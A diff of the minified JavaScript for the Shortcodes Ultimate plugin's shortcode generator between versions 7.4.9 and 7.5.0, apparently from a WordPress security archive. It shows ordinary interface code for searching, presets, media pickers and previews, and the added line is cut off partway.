diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/js/generator/index.js /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/js/generator/index.js
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/js/generator/index.js	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/js/generator/index.js	2026-03-23 19:21:32.000000000 +0000
@@ -1,2 +1,2 @@
-!function n(a,s,o){function i(t,e){if(!s[t]){if(!a[t]){var r="function"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(e=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",e}r=s[t]={exports:{}},a[t][0].call(r.exports,function(e){return i(a[t][1][e]||e)},r,r.exports,n,a,s,o)}return s[t].exports}for(var u="function"==typeof require&&require,e=0;e<o.length;e++)i(o[e]);return i}({1:[function(e,t,r){var p,n,s,o,i,u,c,l,g,a,d,f;window.SUG={},window.SUG.App=(p=jQuery,n=p("#su-generator"),s=p("#su-generator-search"),o=p("#su-generator-filter"),i=o.children("a"),u=p("#su-generator-choices"),c=u.find("span"),l=p("#su-generator-settings"),g=p("#su-compatibility-mode-prefix"),a=p("#su-generator-result"),d=p("#su-generator-selected"),(f={state:{mceSelection:"",target:"",wpActiveEditor:null,context:"",insertArgs:"",preview:{timer:null,request:null}}}).el={body:p("body")},f.init=()=>{var a;i.click(function(e){var t,r=p(this).data("filter");"all"===r?c.css({opacity:1}).removeClass("su-generator-choice-first"):(t=new RegExp(r,"gi"),c.css({opacity:.2}),c.each(function(){null!==p(this).data("group").match(t)&&p(this).css({opacity:1}).removeClass("su-generator-choice-first")})),e.preventDefault()}),p("#su-generator").on("click",".su-generator-home",function(e){s.val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),o.show(),u.show(),c.show(),f.state.mceSelection="",s.focus(),e.preventDefault()}),p("#su-generator").on("click",".su-generator-close",function(e){p.magnificPopup.close(),e.preventDefault()}),s.on({focus:function(){p(this).val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),u.show(),c.css({opacity:1}).removeClass("su-generator-choice-first"),o.show()},blur:function(){},keyup:function(e){var t=p(".su-generator-choice-first:first"),r=p(this).val(),n=new RegExp(r,"gi"),a=0;13===e.keyCode&&0<t.length&&(e.preventDefault(),p(this).val("").blur(),t.trigger("click")),c.css({opacity:.2}).removeClass("su-generator-choice-first"),c.each(function(){var e=p(this).data(),t=e.shortcode,e=[t,e.name,e.desc,e.group].join(" ").match(n);null!==e&&(p(this).css({opacity:1}),r===t?(c.removeClass("su-generator-choice-first"),p(this).addClass("su-generator-choice-first"),a=999):e.length>a&&(c.removeClass("su-generator-choice-first"),p(this).addClass("su-generator-choice-first"),a=e.length))}),""===r&&c.removeClass("su-generator-choice-first")}}),c.on("click",function(e){var t=p(this).data("shortcode");p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_settings",shortcode:t},beforeSend:function(){p("#su-generator-preview").hide(),u.hide(),l.addClass("su-generator-loading").show(),n.addClass("su-generator-narrow"),o.hide()},success:function(e){l.removeClass("su-generator-loading"),l.html(e);e=p("#su-generator-content");void 0!==f.state.mceSelection&&""!==f.state.mceSelection&&"hidden"!==e.attr("type")&&e.val(f.state.mceSelection),p(".su-generator-range-picker").each(function(e){var t=p(this).find("input"),r=t.attr("min"),n=t.attr("max"),a=t.attr("step");t.simpleSlider({snap:!0,step:a,range:[r,n]}),t.show(),t.on("keyup blur",function(e){t.simpleSlider("setValue",t.val())})}),p(".su-generator-select-color").each(function(e){p(this).find(".su-generator-select-color-wheel").filter(":first").farbtastic(".su-generator-select-color-value:eq("+e+")"),p(this).find(".su-generator-select-color-value").focus(function(){p(".su-generator-select-color-wheel:eq("+e+")").show()}),p(this).find(".su-generator-select-color-value").blur(function(){p(".su-generator-select-color-wheel:eq("+e+")").hide()})}),p(".su-generator-isp").each(function(){function n(){var t,e,r,n="none",a="",s=o.val();"media"===s?(t=[],i.find("span").each(function(e){t[e]=p(this).data("id")}),0<t.length&&(a=t.join(","))):"category"===s?0<(e=u.val()||[]).length&&(a=e.join(",")):"taxonomy"===s?(e=c.val()||"",r=l.val()||[],"0"!==e&&0<r.length&&(n="taxonomy: "+e+"/"+r.join(","))):n="0"===s?"none":s,g.val(n=""!==a?s+": "+a:n).trigger("change")}var t,r=p(this),o=r.find(".su-generator-isp-sources"),a=r.find(".su-generator-isp-source"),e=r.find(".su-generator-isp-add-media"),i=r.find(".su-generator-isp-images"),u=r.find(".su-generator-isp-categories"),c=r.find(".su-generator-isp-taxonomies"),l=p(".su-generator-isp-terms"),g=r.find(".su-generator-attr");o.on("change",function(e){var t=p(this).val();e.preventDefault(),a.removeClass("su-generator-isp-source-open"),-1===t.indexOf(":")&&r.find(".su-generator-isp-source-"+t).addClass("su-generator-isp-source-open"),n()}),i.on("click","span i",function(){p(this).parent("span").css("border-color","#f03").fadeOut(300,function(){p(this).remove(),n()})}),e.click(function(e){e.preventDefault(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_1=wp.media({title:SUGL10n.isp_media_title,library:{type:"image"},button:{text:SUGL10n.isp_media_insert},multiple:!0})).on("open",function(){p(".mfp-wrap").addClass("hidden")}),t.on("close",function(){p(".mfp-wrap").removeClass("hidden")}),t.on("select",function(){var e=t.state().get("selection").toJSON();i.find("em").remove(),p.each(e,function(e){i.append('<span data-id="'+this.id+'"><img src="'+this.url+'" alt="" /><i class="sui sui-times"></i></span>')}),n()}).open()}),i.sortable({revert:200,containment:r,tolerance:"pointer",stop:function(){n()}}),u.on("change",n),l.on("change",n),c.on("change",function(){var e,t=p(this).parents(".su-generator-isp-source"),r=p(this).val();l.hide().find("option").remove(),n(),"0"!==r&&(e=p.ajax({url:ajaxurl,type:"post",dataType:"html",data:{action:"su_generator_get_terms",tax:r,class:"su-generator-isp-terms",multiple:!0,size:10},beforeSend:function(){"object"==typeof e&&e.abort(),l.html("").attr("disabled",!0).hide(),t.addClass("su-generator-loading")},success:function(e){l.html(e).attr("disabled",!1).show(),t.removeClass("su-generator-loading")}}))})}),p(".su-generator-upload-button").each(function(){var t,e=p(this),r=p(this).parents(".su-generator-attr-container").find("input:text");e.on("click",function(e){e.preventDefault(),e.stopPropagation(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_2=wp.media({title:SUGL10n.upload_title,button:{text:SUGL10n.upload_insert},multiple:!1})).on("select",function(){var e=t.state().get("selection").first().toJSON();r.val(e.url).trigger("change")}),t.on("open",function(){p(".mfp-wrap").addClass("hidden")}),t.on("close",function(){p(".mfp-wrap").removeClass("hidden")}),t.open()})}),p(".su-generator-icon-picker-button").each(function(){var e=p(this),t=p(this).parents(".su-generator-attr-container"),n=t.find(".su-generator-attr"),a=t.find(".su-generator-icon-picker"),s=a.find("input:text");e.click(function(e){a.toggleClass("su-generator-icon-picker-visible"),s.val("").trigger("keyup"),a.hasClass("su-generator-icon-picker-loaded")||(p.ajax({type:"post",url:ajaxurl,data:{action:"su_generator_get_icons"},dataType:"html",beforeSend:function(){a.addClass("su-generator-loading"),a.addClass("su-generator-icon-picker-loaded")},success:function(e){a.append(e);var r=a.children("i");r.click(function(e){n.val("icon: "+p(this).attr("title")),a.removeClass("su-generator-icon-picker-visible"),n.trigger("change"),e.preventDefault()}),s.on({keyup:function(){var e=p(this).val(),t=new RegExp(e,"gi");r.hide(),r.each(function(){null!==p(this).attr("title").match(t)&&p(this).show()})},focus:function(){p(this).val(""),r.show()}}),a.removeClass("su-generator-loading")}}),e.preventDefault())})}),p(".su-generator-switch").click(function(e){var t=p(this).parent().children("input");("yes"===t.val()?t.val("no"):t.val("yes")).trigger("change"),e.preventDefault()}),p(".su-generator-switch-value").on("change",function(){var e=p(this),t=e.parent().children(".su-generator-switch"),e=e.val();"yes"===e?t.removeClass("su-generator-switch-no").addClass("su-generator-switch-yes"):"no"===e&&t.removeClass("su-generator-switch-yes").addClass("su-generator-switch-no")}),p("select#su-generator-attr-taxonomy").on("change",function(){var e=p(this).val(),t=p("select#su-generator-attr-tax_term");window.su_generator_get_terms=p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_get_terms",tax:e,noselect:!0},dataType:"html",beforeSend:function(){"object"==typeof window.su_generator_get_terms&&window.su_generator_get_terms.abort(),t.parent().addClass("su-generator-loading")},success:function(e){t.find("option").remove(),t.append(e),t.parent().removeClass("su-generator-loading")}})}),p(".su-generator-shadow-picker").each(function(e){var t=p(this),r=t.find(".su-generator-shadow-picker-field input"),n=t.find(".su-generator-sp-hoff"),a=t.find(".su-generator-sp-voff"),s=t.find(".su-generator-sp-blur"),o={cnt:t.find(".su-generator-shadow-picker-color"),value:t.find(".su-generator-shadow-picker-color-value"),wheel:t.find(".su-generator-shadow-picker-color-wheel")},i=t.find(".su-generator-attr");o.wheel.farbtastic(o.value),o.value.focus(function(){o.wheel.show()}),o.value.blur(function(){o.wheel.hide()}),r.on("change blur keyup",function(){i.val(n.val()+"px "+a.val()+"px "+s.val()+"px "+o.value.val()).trigger("change")}),i.on("keyup",function(){var e=p(this).val().split(" ");4===e.length&&(n.val(e[0].replace("px","")),a.val(e[1].replace("px","")),s.val(e[2].replace("px","")),o.value.val(e[3]),r.trigger("keyup"))})}),p(".su-generator-border-picker").each(function(e){var t=p(this),r=t.find(".su-generator-border-picker-field input, .su-generator-border-picker-field select"),n=t.find(".su-generator-bp-width"),a=t.find(".su-generator-bp-style"),s={cnt:t.find(".su-generator-border-picker-color"),value:t.find(".su-generator-border-picker-color-value"),wheel:t.find(".su-generator-border-picker-color-wheel")},o=t.find(".su-generator-attr");s.wheel.farbtastic(s.value),s.value.focus(function(){s.wheel.show()}),s.value.blur(function(){s.wheel.hide()}),r.on("change blur keyup",function(){o.val(n.val()+"px "+a.val()+" "+s.value.val()).trigger("change")}),o.on("keyup",function(){var e=p(this).val().split(" ");3===e.length&&(n.val(e[0].replace("px","")),a.val(e[1]),s.value.val(e[2]),r.trigger("keyup"))})}),l.find(".su-generator-attr").on("change keyup blur",function(){var e=p(this).parents(".su-generator-attr-container"),t=e.data("default");p(this).val()!=t?e.removeClass("su-generator-skip"):e.addClass("su-generator-skip")}),p(".su-generator-set-value").click(function(e){p(this).parents(".su-generator-attr-container").find("input").val(p(this).text()).trigger("change")}),d.val(t),p.ajax({type:"GET",url:ajaxurl,data:{action:"su_generator_get_preset",id:"last_used",shortcode:t,nonce:p("#su_generator_presets_nonce").val()},beforeSend:function(){},success:function(e){f.setSettings(e);e=p("#su-generator-content");void 0!==f.state.mceSelection&&""!==f.state.mceSelection&&"hidden"!==e.attr("type")&&e.val(f.state.mceSelection)},dataType:"json"})},dataType:"html"})}),p("#su-generator").on("click",".su-generator-insert",f.insertShortcode),p("#su-generator").on("click",".su-generator-toggle-preview",function(e){var t=p("#su-generator-preview");p(this).hide(),t.addClass("su-generator-loading").show(),l.find("input, textarea, select").on("change keyup blur",function(){f.updatePreview()}),f.updatePreview(!0),e.preventDefault()}),p("#su-generator").on("mouseenter click",".su-generator-presets",function(){clearTimeout(a),p(".su-gp-popup").show()}),p("#su-generator").on("mouseleave",".su-generator-presets",function(){a=window.setTimeout(function(){p(".su-gp-popup").fadeOut(200)},600)}),p("#su-generator").on("click",".su-gp-new",function(e){p(this).parents(".su-generator-presets");var t=p(".su-gp-list"),r=(new Date).getTime(),n=prompt(SUGL10n.presets_prompt_msg,SUGL10n.presets_prompt_value);""!==n&&null!==n&&(t.find("b").hide(),t.append('<span data-id="'+r+'"><em>'+n+'</em><i class="sui sui-times"></i></span>'),f.addPreset(r,n))}),p("#su-generator").on("click",".su-gp-list span",function(e){var t=p(".su-generator-presets").data("shortcode"),r=p(this).data("id"),n=p(".su-generator-insert");p(".su-gp-popup").hide(),clearTimeout(a),p.ajax({type:"GET",url:ajaxurl,data:{action:"su_generator_get_preset",id:r,shortcode:t,nonce:p("#su_generator_presets_nonce").val()},beforeSend:function(){n.addClass("button-primary-disabled").attr("disabled",!0)},success:function(e){n.removeClass("button-primary-disabled").attr("disabled",!1),f.setSettings(e)},dataType:"json"}),e.preventDefault(),e.stopPropagation()}),p("#su-generator").on("click",".su-gp-list i",function(e){var t=p(this).parents(".su-gp-list"),r=p(this).parent("span"),n=r.data("id");r.remove(),t.find("span").length<1&&t.find("b").show(),f.removePreset(n),e.stopPropagation(),e.preventDefault()})},f.addPreset=function(e,t){var r=p(".su-generator-presets").data("shortcode"),n=f.getSettings();p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_add_preset",id:e,name:t,shortcode:r,settings:n,nonce:p("#su_generator_presets_nonce").val()}})},f.removePreset=function(e){var t=p(".su-generator-presets").data("shortcode");p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_remove_preset",id:e,shortcode:t,nonce:p("#su_generator_presets_nonce").val()}})},f.parseSettings=function(){var e="on"===p("#su-generator-option-skip").val()?"#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr":"#su-generator-settings .su-generator-attr-container .su-generator-attr",t=d.val(),r=g.val(),e=p(e),n=p("textarea#su-generator-content"),n=n.length?n.val():"false",a=new String("");return a+="["+r+t,e.each(function(){var e=p(this),t="";null==(t=(e.is("select")?e.find("option:selected"):e).val())?t="":"array"==typeof t&&(t=t.join(",")),""!==t&&(a+=" "+p(this).attr("name")+'="'+p(this).val().toString().replace(/"/gi,"'")+'"')}),a+="]","false"!=n&&(a+=n+"[/"+r+t+"]"),a},f.getSettings=function(){d.val();var e=p("#su-generator-settings .su-generator-attr"),t=p("textarea#su-generator-content"),t=t.length?t.val():"false",a={};return e.each(function(e){var t=p(this),r="",n=t.attr("name"),r=(t.is("select")?t.find("option:selected"):t).val();a[n]=r=null==r?"":r}),a.content=t.toString(),a},f.setSettings=function(r){var e=p("#su-generator-settings .su-generator-attr"),t=p("#su-generator-content");e.each(function(){var e=p(this),t=e.attr("name");r.hasOwnProperty(t)&&(e.val(r[t]),e.trigger("keyup").trigger("change").trigger("blur"))}),r.hasOwnProperty("content")&&t.val(r.content).trigger("keyup").trigger("change").trigger("blur"),f.updatePreview()},f.updatePreview=function(e){var t=p("#su-generator-preview"),r=f.parseSettings(),n=a.text();e=e||!1,t.is(":visible")&&(r!==n||e)&&(window.clearTimeout(f.state.preview.timer),f.state.preview.timer=window.setTimeout(function(){f.state.preview.request=p.ajax({type:"POST",url:ajaxurl,cache:!1,data:{action:"su_generator_preview",shortcode:r,nonce:p("#su_generator_preview_nonce").val()},beforeSend:function(){f.state.preview.request&&f.state.preview.request.abort(),t.addClass("su-generator-loading").html("")},success:function(e){t.html(e).removeClass("su-generator-loading")},dataType:"html"})},300),a.text(r))},f.insert=function(e,t){var r;"string"==typeof e&&"object"==typeof t&&(f.state.context=e,r=(f.state.insertArgs=t).shortcode||"",(e={type:"inline",alignTop:!0,closeOnBgClick:!1,mainClass:"su-generator-mfp",items:{src:"#su-generator"},callbacks:{}}).callbacks.open=()=>{r?c.filter('[data-shortcode="'.concat(r,'"]')).trigger("click"):window.setTimeout(()=>s.focus(),200),"undefined"!=typeof tinyMCE&&null!=tinyMCE.activeEditor&&tinyMCE.activeEditor.hasOwnProperty("selection")&&(f.state.mceSelection=tinyMCE.activeEditor.selection.getContent({format:"text"}))},e.callbacks.close=()=>{s.val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),o.show(),u.show(),c.show(),f.state.mceSelection=""},p.magnificPopup.open(e))},f.insertShortcode=function(){var e,t,r=f.parseSettings();f.addPreset("last_used",SUGL10n.last_used),p.magnificPopup.close(),a.text(r),"html"===f.state.context&&(e=document.getElementById(f.state.insertArgs.editorID),f.insertAtCaret(e,r)),"classic"===f.state.context&&window.wp.media.editor.insert(r),"block"===f.state.context&&((e=f.state.insertArgs.props).attributes.hasOwnProperty("content")?e.setAttributes({content:e.attributes.content+r}):"core/shortcode"===e.name&&(t=e.attributes.hasOwnProperty("text")?e.attributes.text:"",e.setAttributes({text:t+r})))},f.insertAtCaret=(e,t)=>{var r=e.selectionStart;e.value=e.value.substring(0,r)+t+e.value.substring(r),e.focus(),e.selectionStart=r+t.length},{init:f.init,insert:f.insert}),jQuery(document).ready(window.SUG.App.init)},{}]},{},[1]);
+!function n(a,s,o){function i(t,e){if(!s[t]){if(!a[t]){var r="function"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(e=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",e}r=s[t]={exports:{}},a[t][0].call(r.exports,function(e){return i(a[t][1][e]||e)},r,r.exports,n,a,s,o)}return s[t].exports}for(var u="function"==typeof require&&require,e=0;e<o.length;e++)i(o[e]);return i}({1:[function(e,t,r){var p,n,s,o,i,u,c,l,g,a,d,f;window.SUG={},window.SUG.App=(p=jQuery,n=p("#su-generator"),s=p("#su-generator-search"),o=p("#su-generator-filter"),i=o.children("a"),u=p("#su-generator-choices"),c=u.find("span"),l=p("#su-generator-settings"),g=p("#su-compatibility-mode-prefix"),a=p("#su-generator-result"),d=p("#su-generator-selected"),(f={state:{mceSelection:"",target:"",wpActiveEditor:null,context:"",insertArgs:"",preview:{timer:null,request:null}}}).el={body:p("body")},f.init=()=>{var a;i.click(function(e){var t,r=p(this).data("filter");"all"===r?c.css({opacity:1}).removeClass("su-generator-choice-first"):(t=new RegExp(r,"gi"),c.css({opacity:.2}),c.each(function(){null!==p(this).data("group").match(t)&&p(this).css({opacity:1}).removeClass("su-generator-choice-first")})),e.preventDefault()}),p("#su-generator").on("click",".su-generator-home",function(e){s.val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),o.show(),u.show(),c.show(),f.state.mceSelection="",s.focus(),e.preventDefault()}),p("#su-generator").on("click",".su-generator-close",function(e){p.magnificPopup.close(),e.preventDefault()}),s.on({focus:function(){p(this).val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),u.show(),c.css({opacity:1}).removeClass("su-generator-choice-first"),o.show()},blur:function(){},keyup:function(e){var t=p(".su-generator-choice-first:first"),r=p(this).val(),n=new RegExp(r,"gi"),a=0;13===e.keyCode&&0<t.length&&(e.preventDefault(),p(this).val("").blur(),t.trigger("click")),c.css({opacity:.2}).removeClass("su-generator-choice-first"),c.each(function(){var e=p(this).data(),t=e.shortcode,e=[t,e.name,e.desc,e.group].join(" ").match(n);null!==e&&(p(this).css({opacity:1}),r===t?(c.removeClass("su-generator-choice-first"),p(this).addClass("su-generator-choice-first"),a=999):e.length>a&&(c.removeClass("su-generator-choice-first"),p(this).addClass("su-generator-choice-first"),a=e.length))}),""===r&&c.removeClass("su-generator-choice-first")}}),c.on("click",function(e){var t=p(this).data("shortcode");p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_settings",shortcode:t},beforeSend:function(){p("#su-generator-preview").hide(),u.hide(),l.addClass("su-generator-loading").show(),n.addClass("su-generator-narrow"),o.hide()},success:function(e){l.removeClass("su-generator-loading"),l.html(e);e=p("#su-generator-content");void 0!==f.state.mceSelection&&""!==f.state.mceSelection&&"hidden"!==e.attr("type")&&e.val(f.state.mceSelection),p(".su-generator-range-picker").each(function(e){var t=p(this).find("input"),r=t.attr("min"),n=t.attr("max"),a=t.attr("step");t.simpleSlider({snap:!0,step:a,range:[r,n]}),t.show(),t.on("keyup blur",function(e){t.simpleSlider("setValue",t.val())})}),p(".su-generator-select-color").each(function(e){p(this).find(".su-generator-select-color-wheel").filter(":first").farbtastic(".su-generator-select-color-value:eq("+e+")"),p(this).find(".su-generator-select-color-value").focus(function(){p(".su-generator-select-color-wheel:eq("+e+")").show()}),p(this).find(".su-generator-select-color-value").blur(function(){p(".su-generator-select-color-wheel:eq("+e+")").hide()})}),p(".su-generator-isp").each(function(){function n(){var t,e,r,n="none",a="",s=o.val();"media"===s?(t=[],i.find("span").each(function(e){t[e]=p(this).data("id")}),0<t.length&&(a=t.join(","))):"category"===s?0<(e=u.val()||[]).length&&(a=e.join(",")):"taxonomy"===s?(e=c.val()||"",r=l.val()||[],"0"!==e&&0<r.length&&(n="taxonomy: "+e+"/"+r.join(","))):n="0"===s?"none":s,g.val(n=""!==a?s+": "+a:n).trigger("change")}var t,r=p(this),o=r.find(".su-generator-isp-sources"),a=r.find(".su-generator-isp-source"),e=r.find(".su-generator-isp-add-media"),i=r.find(".su-generator-isp-images"),u=r.find(".su-generator-isp-categories"),c=r.find(".su-generator-isp-taxonomies"),l=p(".su-generator-isp-terms"),g=r.find(".su-generator-attr");o.on("change",function(e){var t=p(this).val();e.preventDefault(),a.removeClass("su-generator-isp-source-open"),-1===t.indexOf(":")&&r.find(".su-generator-isp-source-"+t).addClass("su-generator-isp-source-open"),n()}),i.on("click","span i",function(){p(this).parent("span").css("border-color","#f03").fadeOut(300,function(){p(this).remove(),n()})}),e.click(function(e){e.preventDefault(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_1=wp.media({title:SUGL10n.isp_media_title,library:{type:"image"},button:{text:SUGL10n.isp_media_insert},multiple:!0})).on("open",function(){p(".mfp-wrap").addClass("hidden")}),t.on("close",function(){p(".mfp-wrap").removeClass("hidden")}),t.on("select",function(){var e=t.state().get("selection").toJSON();i.find("em").remove(),p.each(e,function(e){i.append('<span data-id="'+this.id+'"><img src="'+this.url+'" alt="" /><i class="sui sui-times"></i></span>')}),n()}).open()}),i.sortable({revert:200,containment:r,tolerance:"pointer",stop:function(){n()}}),u.on("change",n),l.on("change",n),c.on("change",function(){var e,t=p(this).parents(".su-generator-isp-source"),r=p(this).val();l.hide().find("option").remove(),n(),"0"!==r&&(e=p.ajax({url:ajaxurl,type:"post",dataType:"html",data:{action:"su_generator_get_terms",tax:r,class:"su-generator-isp-terms",multiple:!0,size:10},beforeSend:function(){"object"==typeof e&&e.abort(),l.html("").attr("disabled",!0).hide(),t.addClass("su-generator-loading")},success:function(e){l.html(e).attr("disabled",!1).show(),t.removeClass("su-generator-loading")}}))})}),p(".su-generator-upload-button").each(function(){var t,e=p(this),r=p(this).parents(".su-generator-attr-container").find("input:text");e.on("click",function(e){e.preventDefault(),e.stopPropagation(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_2=wp.media({title:SUGL10n.upload_title,button:{text:SUGL10n.upload_insert},multiple:!1})).on("select",function(){var e=t.state().get("selection").first().toJSON();r.val(e.url).trigger("change")}),t.on("open",function(){p(".mfp-wrap").addClass("hidden")}),t.on("close",function(){p(".mfp-wrap").removeClass("hidden")}),t.open()})}),p(".su-generator-icon-picker-button").each(function(){var e=p(this),t=p(this).parents(".su-generator-attr-container"),n=t.find(".su-generator-attr"),a=t.find(".su-generator-icon-picker"),s=a.find("input:text");e.click(function(e){a.toggleClass("su-generator-icon-picker-visible"),s.val("").trigger("keyup"),a.hasClass("su-generator-icon-picker-loaded")||(p.ajax({type:"post",url:ajaxurl,data:{action:"su_generator_get_icons"},dataType:"html",beforeSend:function(){a.addClass("su-generator-loading"),a.addClass("su-generator-icon-picker-loaded")},success:function(e){a.append(e);var r=a.children("i");r.click(function(e){n.val("icon: "+p(this).attr("title")),a.removeClass("su-generator-icon-picker-visible"),n.trigger("change"),e.preventDefault()}),s.on({keyup:function(){var e=p(this).val(),t=new RegExp(e,"gi");r.hide(),r.each(function(){null!==p(this).attr("title").match(t)&&p(this).show()})},focus:function(){p(this).val(""),r.show()}}),a.removeClass("su-generator-loading")}}),e.preventDefault())})}),p(".su-generator-switch").click(function(e){var t=p(this).parent().children("input");("yes"===t.val()?t.val("no"):t.val("yes")).trigger("change"),e.preventDefault()}),p(".su-generator-switch-value").on("change",function(){var e=p(this),t=e.parent().children(".su-generator-switch"),e=e.val();"yes"===e?t.removeClass("su-generator-switch-no").addClass("su-generator-switch-yes"):"no"===e&&t.removeClass("su-generator-switch-yes").addClass("su-generator-switch-no")}),p("select#su-generator-attr-taxonomy").on("change",function(){var e=p(this).val(),t=p("select#su-generator-attr-tax_term");window.su_generator_get_terms=p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_get_terms",tax:e,noselect:!0},dataType:"html",beforeSend:function(){"object"==typeof window.su_generator_get_terms&&window.su_generator_get_terms.abort(),t.parent().addClass("su-generator-loading")},success:function(e){t.find("option").remove(),t.append(e),t.parent().removeClass("su-generator-loading")}})}),p(".su-generator-shadow-picker").each(function(e){var t=p(this),r=t.find(".su-generator-shadow-picker-field input"),n=t.find(".su-generator-sp-hoff"),a=t.find(".su-generator-sp-voff"),s=t.find(".su-generator-sp-blur"),o={cnt:t.find(".su-generator-shadow-picker-color"),value:t.find(".su-generator-shadow-picker-color-value"),wheel:t.find(".su-generator-shadow-picker-color-wheel")},i=t.find(".su-generator-attr");o.wheel.farbtastic(o.value),o.value.focus(function(){o.wheel.show()}),o.value.blur(function(){o.wheel.hide()}),r.on("change blur keyup",function(){i.val(n.val()+"px "+a.val()+"px "+s.val()+"px "+o.value.val()).trigger("change")}),i.on("keyup",function(){var e=p(this).val().split(" ");4===e.length&&(n.val(e[0].replace("px","")),a.val(e[1].replace("px","")),s.val(e[2].replace("px","")),o.value.val(e[3]),r.trigger("keyup"))})}),p(".su-generator-border-picker").each(function(e){var t=p(this),r=t.find(".su-generator-border-picker-field input, .su-generator-border-picker-field select"),n=t.find(".su-generator-bp-width"),a=t.find(".su-generator-bp-style"),s={cnt:t.find(".su-generator-border-picker-color"),value:t.find(".su-generator-border-picker-color-value"),wheel:t.find(".su-generator-border-picker-color-wheel")},o=t.find(".su-generator-attr");s.wheel.farbtastic(s.value),s.value.focus(function(){s.wheel.show()}),s.value.blur(function(){s.wheel.hide()}),r.on("change blur keyup",function(){o.val(n.val()+"px "+a.val()+" "+s.value.val()).trigger("change")}),o.on("keyup",function(){var e=p(this).val().split(" ");3===e.length&&(n.val(e[0].replace("px","")),a.val(e[1]),s.value.val(e[2]),r.trigger("keyup"))})}),l.find(".su-generator-attr").on("change keyup blur",function(){var e=p(this).parents(".su-generator-attr-container"),t=e.data("default");p(this).val()!=t?e.removeClass("su-generator-skip"):e.addClass("su-generator-skip")}),p(".su-generator-set-value").click(function(e){p(this).parents(".su-generator-attr-container").find("input").val(p(this).text()).trigger("change")}),d.val(t),p.ajax({type:"GET",url:ajaxurl,data:{action:"su_generator_get_preset",id:"last_used",shortcode:t,nonce:p("#su_generator_presets_nonce").val()},beforeSend:function(){},success:function(e){f.setSettings(e);e=p("#su-generator-content");void 0!==f.state.mceSelection&&""!==f.state.mceSelection&&"hidden"!==e.attr("type")&&e.val(f.state.mceSelection)},dataType:"json"})},dataType:"html"})}),p("#su-generator").on("click",".su-generator-insert",f.insertShortcode),p("#su-generator").on("click",".su-generator-toggle-preview",function(e){var t=p("#su-generator-preview");p(this).hide(),t.addClass("su-generator-loading").show(),l.find("input, textarea, select").on("change keyup blur",function(){f.updatePreview()}),f.updatePreview(!0),e.preventDefault()}),p("#su-generator").on("mouseenter click",".su-generator-presets",function(){clearTimeout(a),p(".su-gp-popup").show()}),p("#su-generator").on("mouseleave",".su-generator-presets",function(){a=window.setTimeout(function(){p(".su-gp-popup").fadeOut(200)},600)}),p("#su-generator").on("click",".su-gp-new",function(e){p(this).parents(".su-generator-presets");var t=p(".su-gp-list"),r=(new Date).getTime(),n=prompt(SUGL10n.presets_prompt_msg,SUGL10n.presets_prompt_value);""!==n&&null!==n&&(t.find("b").hide(),t.append('<span data-id="'+r+'"><em>'+n+'</em><i class="sui sui-times"></i></span>'),f.addPreset(r,n))}),p("#su-generator").on("click",".su-gp-list span",function(e){var t=p(".su-generator-presets").data("shortcode"),r=p(this).data("id"),n=p(".su-generator-insert");p(".su-gp-popup").hide(),clearTimeout(a),p.ajax({type:"GET",url:ajaxurl,data:{action:"su_generator_get_preset",id:r,shortcode:t,nonce:p("#su_generator_presets_nonce").val()},beforeSend:function(){n.addClass("button-primary-disabled").attr("disabled",!0)},success:function(e){n.removeClass("button-primary-disabled").attr("disabled",!1),f.setSettings(e)},dataType:"json"}),e.preventDefault(),e.stopPropagation()}),p("#su-generator").on("click",".su-gp-list i",function(e){var t=p(this).parents(".su-gp-list"),r=p(this).parent("span"),n=r.data("id");r.remove(),t.find("span").length<1&&t.find("b").show(),f.removePreset(n),e.stopPropagation(),e.preventDefault()})},f.addPreset=function(e,t){var r=p(".su-generator-presets").data("shortcode"),n=f.getSettings();p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_add_preset",id:e,name:t,shortcode:r,settings:n,nonce:p("#su_generator_presets_nonce").val()}})},f.removePreset=function(e){var t=p(".su-generator-presets").data("shortcode");p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_remove_preset",id:e,shortcode:t,nonce:p("#su_generator_presets_nonce").val()}})},f.parseSettings=function(){var e="on"===p("#su-generator-option-skip").val()?"#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr":"#su-generator-settings .su-generator-attr-container .su-generator-attr",t=d.val(),r=g.val(),e=p(e),n=p("textarea#su-generator-content"),n=n.length?n.val():"false",a=new String("");return a+="["+r+t,e.each(function(){var e=p(this),t="";null==(t=(e.is("select")?e.find("option:selected"):e).val())?t="":"array"==typeof t&&(t=t.join(",")),""!==t&&(a+=" "+p(this).attr("name")+'="'+p(this).val().toString().replace(/"/gi,"'")+'"')}),a+="]","false"!=n&&(a+=n+"[/"+r+t+"]"),a},f.getSettings=function(){d.val();var e=p("#su-generator-settings .su-generator-attr"),t=p("textarea#su-generator-content"),t=t.length?t.val():"false",a={};return e.each(function(e){var t=p(this),r="",n=t.attr("name"),r=(t.is("select")?t.find("option:selected"):t).val();a[n]=r=null==r?"":r}),a.content=t.toString(),a},f.setSettings=function(r){var e=p("#su-generator-settings 